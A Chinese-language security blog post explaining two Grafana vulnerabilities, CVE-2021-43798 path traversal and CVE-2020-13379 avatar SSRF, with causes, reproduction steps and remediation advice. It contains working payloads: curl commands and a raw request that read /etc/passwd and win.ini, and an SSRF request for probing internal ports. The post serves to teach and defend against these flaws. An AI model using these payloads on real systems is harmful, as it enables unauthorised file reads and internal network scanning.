Grafana

Grafana 作为全球最流行的开源监控可视化平台之一


1. CVE-2021-43798:插件目录遍历漏洞 (Arbitrary File Read)

这是 Grafana 历史上影响最广的漏洞之一,因为它允许未经身份验证的用户读取服务器上的任意文件(如 /etc/passwd 或数据库配置文件)。

1.1 漏洞背景

  • 受影响版本: Grafana 8.0.0-beta1 至 8.3.0
  • 漏洞类型: 路径遍历 (Path Traversal / Local File Inclusion)
  • CVSS 评分: 7.5 (High)

1.2 漏洞原理

Grafana 内置了一个插件系统。在正常情况下,前端会请求插件的静态资源(如图标、README 等)。Grafana 的后端路由在处理插件资源请求时,没有正确清洗用户输入的路径。

具体的漏洞逻辑位于处理 /public/plugins/:pluginId/* 的路由代码中。当用户请求一个插件资源时,后端会拼接插件目录路径。由于未过滤 ../(dot-dot-slash)字符,攻击者可以通过回溯上级目录,跳出插件文件夹,访问文件系统的其他位置。

1.3 复现过程

步骤一:确定插件 ID

攻击者通常利用 Grafana 默认安装的插件,例如 alertlistannolistbarchart 等。

步骤二:构造 Payload

攻击者通过浏览器或 curl 发送包含 ../ 的 HTTP GET 请求。

Linux 系统 Payload (读取 /etc/passwd):

Bash

curl --path-as-is http://<Target-IP>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Windows 系统 Payload (读取 win.ini):

Bash

curl --path-as-is http://<Target-IP>:3000/public/plugins/alertlist/../../../../../../../../windows/win.ini
GET /public/plugins/alertlist/../../../../../../../../../../../../..
/etc/passwd HTTP/1.1
Host: 192.168.1.112:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

复现成功的标志:

如果服务器返回了 /etc/passwd 的内容(如 root:x:0:0:root...),则证明漏洞存在。


2. CVE-2020-13379:Avatar SSRF 漏洞

服务器端请求伪造 (SSRF) 允许攻击者利用服务器作为跳板,向内网发送请求。

2.1 漏洞背景

  • 受影响版本: Grafana 3.0.1 至 7.0.1
  • 漏洞类型: SSRF (Server-Side Request Forgery)
  • 危害: 内网端口扫描、攻击内网服务。

2.2 漏洞原理

Grafana 有一个功能是显示用户的头像(Avatar)。为了加载头像,Grafana 服务器会根据 URL 请求外部图片资源。

在受影响的版本中,负责获取头像的代码没有验证目标 URL 是否指向内网地址。攻击者可以将 avatar_url 参数指向 127.0.0.1 或其他内网 IP,迫使 Grafana 服务器向这些地址发起连接,从而探测内网端口开放情况。

2.3 复现过程

步骤一:构造恶意请求

攻击者向 Grafana 的 /avatar/ 接口发送请求,并在 URL 参数中指定内网地址。

Payload (探测本地 80 端口):

HTTP

GET /avatar/client/test?url=http://127.0.0.1:80 HTTP/1.1
Host: <Target-IP>:3000

复现成功的标志:

  • 如果端口开放: 服务器可能会返回不同的错误信息(如“非图片格式”),或者响应时间较短。
  • 如果端口关闭: 服务器连接被拒绝,响应通常会通过具体的错误代码或超时体现出来。

通过自动化脚本遍历端口(如 127.0.0.1:1127.0.0.1:65535),攻击者可以绘制出服务器的端口开放图谱。


3. 防御与修复建议

针对上述漏洞,核心的防御措施如下:

  1. 版本升级(最重要):
    • 针对 CVE-2021-43798,请升级至 Grafana 8.3.1 或更高版本。
    • 针对 CVE-2020-13379,请升级至 Grafana 7.0.2 或更高版本。
  2. 配置反向代理(WAF):
    • 在 Nginx 或 WAF 层面上,禁止 URL 中包含连续的 ..%2e%2e,拦截路径遍历攻击。
    • 限制请求参数中出现内网 IP 地址段(如 192.168.x.x, 10.x.x.x, 127.0.0.1)。
  3. 最小权限原则:
    • 确保运行 Grafana 进程的用户(通常是 grafana 用户)没有读取系统敏感文件(如 /etc/shadow)的权限。

总结

Grafana 的这两个漏洞展示了 Web 安全中两个经典的错误模式:

  1. 输入验证缺失(导致目录遍历)。
  2. 业务逻辑信任滥用(导致 SSRF)。
posted @ 2026-01-15 14:47  安清灵风  阅读(1)  评论(0)    收藏  举报